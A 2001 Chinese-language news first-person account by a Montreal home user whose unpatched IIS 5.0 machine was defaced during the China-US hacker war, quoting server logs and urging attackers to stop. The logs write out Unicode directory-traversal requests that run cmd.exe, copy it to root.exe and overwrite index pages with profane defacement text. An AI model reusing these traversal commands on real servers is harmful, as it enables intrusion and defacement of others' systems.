(http://www.epochtimes.com)
【大纪元5月10日讯】 天天在家里上网，每天都要去新浪网和网易，当然也少不了看看中美黑客网络大战的最新战报。真可谓人在海外，不忘祖国。但我无论如何也没想到中美黑客网络大战会影响到我。
其实我并没有将家里计算机作为网站，我用ADSL上网，由于没有任何限制，加上不站电话线，所以我的计算机一开就在Internet上。我家有两台PC，所以我在一台PC上装了Windows 2000，当然也装了IIS 5.0，昨天我用http:127.0.0.1在我的PC上一看，原来微软IIS预装的例子网页却成了如下的黑底红字。
fuck USA Government
fuck PoizonBOx
contact:sysadmcn@yahoo.com.cn
原来来自祖国的黑客把我在加拿大蒙特利尔Montreal家里计算机给黑了。
以下部分IIS记录。
2001-05-07 00:47:52 209.218.XXX.XX – 64.23X.XXX.XXX 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+.. 200 –
2001-05-07 00:47:52 209.218.XXX.XX – 64.23X.XXX.XXX 80 GET /scripts/../../winnt/system32/cmd.exe /c+copy+winnt
system32cmd.exe+root.exe 502 –
2001-05-07 00:47:52 209.218.XXX.XX – 64.23X.XXX.XXX 80 GET /scripts/root.exe /c+echo+^^^^^^^^^^^^fuck+USA+
Government^^^^^fuck+PoizonBOx^^^^contact:sysadmcn@
yahoo.com.cn^>.././index.asp 502 –
2001-05-07 00:47:53 209.218.XXX.XX – 64.23X.XXX.XXX 80 GET /scripts/root.exe /c+echo+^^^^^^^^^^^^fuck+USA+
Government^^^^^fuck+PoizonBOx^^^^contact:sysadmcn@
yahoo.com.cn^>.././index.htm 502 –
2001-05-07 00:47:53 209.218.XXX.XX – 64.23X.XXX.XXX 80 GET /scripts/root.exe /c+echo+^^^^^^^^^^^^fuck+USA+
Government^^^^^fuck+丫PoizonBOx^^^^contact:sysadmcn@
yahoo.com.cn^>.././default.asp 502 –
我不知道我的计算机是否也算那被攻破的美国1600多个网站之一。如果真是这样的话…我真为你们脸红。
作为一个计算机的专家，我知道要黑一个一般的网站不是一件很难的事。我从来不用网上银行，因为我总觉得不安全。我知道Windows有很多bug，我也知道unicode漏洞，只是自己很忙，就没有去下载微软的补丁。再说我的计算机也不是总开着，而且还是动态IP，又不是正式的网站，也就没有在意。而恰恰是这一unicode漏洞，在我新浪网上看那恨可但又没法让自己忘却的中国足球的时刻，让来自祖国所谓的黑客给黑了。
我不知道攻破我的黑客是否和去年Montreal的十五岁的Mafiaboy一样，只是在Internet下载一些黑客工具，并不是什么计算机天才（这是加拿大警察的结论）。如果是这样的话，还是把你的时间花在学习上的好，千万别上了某些国内记者宣传的当，以为黑了几台像我这样的计算机，就成了高手。如果攻破我的黑客是一位真正的高手，你就应该利用你的技术干点正事。
昨晚就在我写这几句的时候，黑客又来了，以下部分是IIS记录。
2001-05-09 02:06:37 198.138.XX.XX – 64.23X.XXX.XXX 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir 404 –
2001-05-09 02:06:37 198.138.XX.XX – 64.23X.XXX.XXX 80 GET /scripts/…./winnt/system32/cmd.exe /c+dir 404 –
2001-05-09 02:06:42 198.138.XX.XX – 64.23X.XXX.XXX 80 GET /msadc/../../../../../../winnt/system32/cmd.exe /c+dir 403 –
没想到今天，又有黑客光临。
2001-05-09 12:53:45 207.179.X.XXX – 64.23X.XXX.XXX 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir 404 –
2001-05-09 12:53:45 207.179.X.XXX – 64.23X.XXX.XXX 80 GET /scripts/…./winnt/system32/cmd.exe /c+dir 404 –
2001-05-09 12:53:48 207.179.X.XXX – 64.23X.XXX.XXX 80 GET /scripts/…./winnt/system32/cmd.exe /c+dir 404 –
当然，这两次没有成功。也许我真应该去微软下载补丁。
我真不知道你们为啥对64.23X.XXX.XXX如此的感兴趣。64.23X.XXX.XXX不是美国海军网站，只是加拿大最大ISP Sympatico的个人用户，大部分人都是和我一样的普通老百姓，请别再瞎黑。该不会是PoizonBOx的成员也用64.23X.XXX.XXX吧？
请别再瞎黑
想了解unicode漏洞详情，请访问http://www.microsoft.com/technet/security/bulletin/ms00-078.asp
相关文章
